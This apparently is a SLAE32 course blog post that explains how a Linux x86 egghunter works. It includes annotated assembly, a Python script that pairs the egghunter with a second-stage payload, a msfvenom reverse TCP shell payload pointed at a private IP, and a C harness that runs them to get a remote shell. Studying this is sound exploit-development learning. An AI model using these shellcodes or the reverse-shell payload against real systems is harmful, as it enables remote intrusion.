SLAE32: Implementing an x86/Linux Egghunter


The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-990

Assignment #3


Goals

  • Explain what an egghunter is
  • Create a working demo
  • Configurable:
    • Be able to specify the egg value and second stage payload
    • The egghunter shellcode will be generated to search for this egg
    • Two shellcodes are emmitted; one for the egghunter and one for the second stage payload prefixed with the egg

What is an egghunter?

An egghunter is shellcode that crawls the processes Virtual Address Space (VAS) for another piece of shellcode to execute. The search by default would occur from the location of the egghunter code onward searching each byte for a 4 or 8 byte “egg” to indicate where the next payload to execute is at.

The egghunter technique is used when there is not enough room for a full payload in the space that was exploitable in the application. Further, there must be some way to inject the second stage payload into the applications memory space. This could be through an additional header if it was a web request, or it could be simply making another call to a command somewhere else in the application where the data was persisted in memory.

In all cases, this means that in our exploit where we took control of EIP there was not a way to jump to the suitable location.

Existing egghunters

A well-known writeup on creating egghunters is by Skape at http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf and it is a popular read for those interested in implementing an egghunter. The focus of this post is on the x86/Linux egghunters only.

There are two important things for an egghunter to function properly:

  • It must find our shellcode wherever it is in memory and run it
  • It must avoid crashing due to unreadable memory locations, that is, it must check whether it has access to each block of memory before testing it for the egg bytes

Conditions of the egg

Size

The egg can be either 4 or 8 bytes and it seems the best size is 8 bytes. The primary reasoning behind this which makes the most sense is that the egghunter shellcode will have the first 4 bytes in it since it needs to search for the egg. If the egghunter ends up running into itself it can incorrectly believe it has found the egg when it has not.

The egg should be the same 4 bytes duplicated.

value

A standard value used is 57303054 but other values such as 90509050 are also used. The main consideration is using something that is unlikely to be present in the actual program as well as something that has benign instructions associated with it. Depending on the egghunter it may end up executing the instructions or may jump over it completely.

Both of these could run without causing much problem as they only contain pushes, NOP’s, and a XOR. If jumps or other instructions were generated it could be problematic.

EGG = 57303054
0:  57                      push   edi
1:  30 30                   xor    BYTE PTR [eax],dh
3:  54                      push   esp
EGG = 90509050
0:  90                      nop
1:  50                      push   eax
2:  90                      nop
3:  50                      push   eax

Implementation

Since there are highly optimized versions of the egghunter available we’ll focus on analyzing one that is best used for our situation and understand each line of assembly. We will then create a working demo of the egghunter and see it actually work in practice.

The following implementation utilizes the access system call to determine if a block of memory is invalid or not. This implementation also does not execute the egg instructions so that is not a concern either.

00000000  31D2              xor edx,edx
00000002  6681CAFF0F        or dx,0xfff
00000007  42                inc edx
00000008  8D5A04            lea ebx,[edx+0x4]
0000000B  6A21              push byte +0x21
0000000D  58                pop eax
0000000E  CD80              int 0x80
00000010  3CF2              cmp al,0xf2
00000012  74EE              jz 0x2
00000014  B890509050        mov eax,0x50905090
00000019  89D7              mov edi,edx
0000001B  AF                scasd
0000001C  75E9              jnz 0x7
0000001E  AF                scasd
0000001F  75E6              jnz 0x7
00000021  FFE7              jmp edi

Breaking down the assembly

The edx register is zeroed out as it will be tracking the memory locations that we’ll be comparing our egg with. When we find it we will jump to EDI where the shellcode should reside.

00000000  31D2              xor edx,edx

The next two instructions will allow us to move up a full PAGE_SIZE. When we check for access, it will apply for the entire memory segment so if it fails then there is no need to continue check bytes. On my system, I checked the page size via the command getconf PAGE_SIZE which yielded 4096 which is why 0xfff would make sense.

00000002  6681CAFF0F        or dx,0xfff
00000007  42                inc edx

We are loading the effective address of edx plus 4 bytes into ebx. This is in preparation of the upcoming access check which will be performed against this memory location.

00000008  8D5A04            lea ebx,[edx+0x4]

The system call for access is 33 so the hex conversion of this is 0x21 of which we push to the stack and immediately pop back onto eax to prepare for the system call.

0000000B  6A21              push byte +0x21
0000000D  58                pop eax
0000000E  CD80              int 0x80

The result of the access check is compared with 0xf2 which is the low byte of the EFAULT return value (the address points outside of the accessible address space). If the value matches then we don’t have access to this memory page and should skip over it; thus we jump back to the second instruction of the egghunter which moves us a page ahead.

00000010  3CF2              cmp al,0xf2
00000012  74EE              jz 0x2

At this point we load the egg value into eax, and move edx into edi (which allows for the use of the scasd instruction which compares eax with dword at edi then set status flags).

00000014  B890509050        mov eax,0x50905090
00000019  89D7              mov edi,edx
0000001B  AF                scasd

If there is no match then it jumps back to increment edx to check the next the next 4 bytes. If it does match then it does a second check of the next 4 bytes after the match to see if we have the full 8 byte egg.

0000001C  75E9              jnz 0x7
0000001E  AF                scasd
0000001F  75E6              jnz 0x7

Finally, upon a successful match, edi should be now pointing to the first byte of the second stage payload. We jump to that location to allow execution of the second stage payload.

00000021  FFE7              jmp edi

Creating a working demo

I have re-written the egghunter to have labels to jump to when we move to next memory page or next byte. An objdump of the assembly is shown below:

egghunter:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	31 d2                	xor    edx,edx

08048062 <next_page>:
 8048062:	66 81 ca ff 0f       	or     dx,0xfff

08048067 <next_byte>:
 8048067:	42                   	inc    edx
 8048068:	8d 5a 04             	lea    ebx,[edx+0x4]
 804806b:	6a 21                	push   0x21
 804806d:	58                   	pop    eax
 804806e:	cd 80                	int    0x80
 8048070:	3c f2                	cmp    al,0xf2
 8048072:	74 ee                	je     8048062 <next_page>
 8048074:	b8 90 50 90 50       	mov    eax,0x50905090
 8048079:	89 d7                	mov    edi,edx
 804807b:	af                   	scas   eax,DWORD PTR es:[edi]
 804807c:	75 e9                	jne    8048067 <next_byte>
 804807e:	af                   	scas   eax,DWORD PTR es:[edi]
 804807f:	75 e6                	jne    8048067 <next_byte>
 8048081:	ff e7                	jmp    edi

We can save this as exploit ready hex and define where the 4 byte “egg” is located for configurability later.

[sengen@manjaro-x86 assignment3]$ objdump -d ./egghunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"

Python script to help generate egghunter+payload

So we can now write a quick python program to take in the egg value and any given payload and emmit the two formatted hex strings that can be used in an exploit.

#!/usr/bin/python

from optparse import OptionParser

def to_hex(val):
    return ''.join('\\x' + val[i:i + 2] for i in range(0, len(val), 2))

parser = OptionParser()
parser.description = "Generates egghunter shellcode with payload."
parser.add_option("-e", "--egg", dest="egg", help="The 4 byte egg to use (e.g. 90509050)", type="string")
parser.add_option("-p", "--payload", dest="payload", help="Payload shellcode (e.g. \\x31\\xc0\\...)", type="string")

(options, args) = parser.parse_args()
if not options.egg or not options.payload:
    parser.print_help()
    exit(1)

if not len(options.egg) == 8:
    print("Invalid egg size")
    exit(1)

egghunter = (
    "\\x31\\xd2\\x66\\x81\\xca\\xff\\x0f\\x42\\x8d\\x5a\\x04\\x6a\\x21\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xee\\xb8"
    + to_hex(options.egg)
    + "\\x89\\xd7\\xaf\\x75\\xe9\\xaf\\x75\\xe6\\xff\\xe7")

payload = (to_hex(options.egg) + to_hex(options.egg) + options.payload)

print("\nEgghunter = \"" + egghunter + "\"")
print("Payload = \"" + payload + "\"\n")

Generating payload to test script

root@sengen-kali2:~# msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.122 lport=443 -f python
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 68 bytes
Final size of python file: 342 bytes
buf =  ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
buf += "\xa8\x01\x7a\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73"
buf += "\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"
[sengen@manjaro-x86 assignment3]$ python create_egg_hunter.py -e 90509050 -p "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x7a\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Egghunter = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
Payload = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x7a\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

Testing in a C program

From the output of our script we can add it to a small C program to execute the egghunter shellcode. Since the payload is also defined as a variable it will be stored somewhere in memory for the egghunter to find.

[sengen@manjaro-x86 assignment3]$ gcc shellcode.c -o shellcode

#include <string.h>
#include <stdio.h>

main()
{
    char egghunter[] = "\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7";

    char payload[] = "\x90\x50\x90\x50\x90\x50\x90\x50\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8\x01\x7a\x68\x02\x00\x01\xbb\x89\xe1\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

    int (*ret)() = (int(*)())egghunter;
    ret();
}

Gaining shell

Executing shellcode program that initiates the egghunter

Receiving shell on remote Linux machine

comments powered by Disqus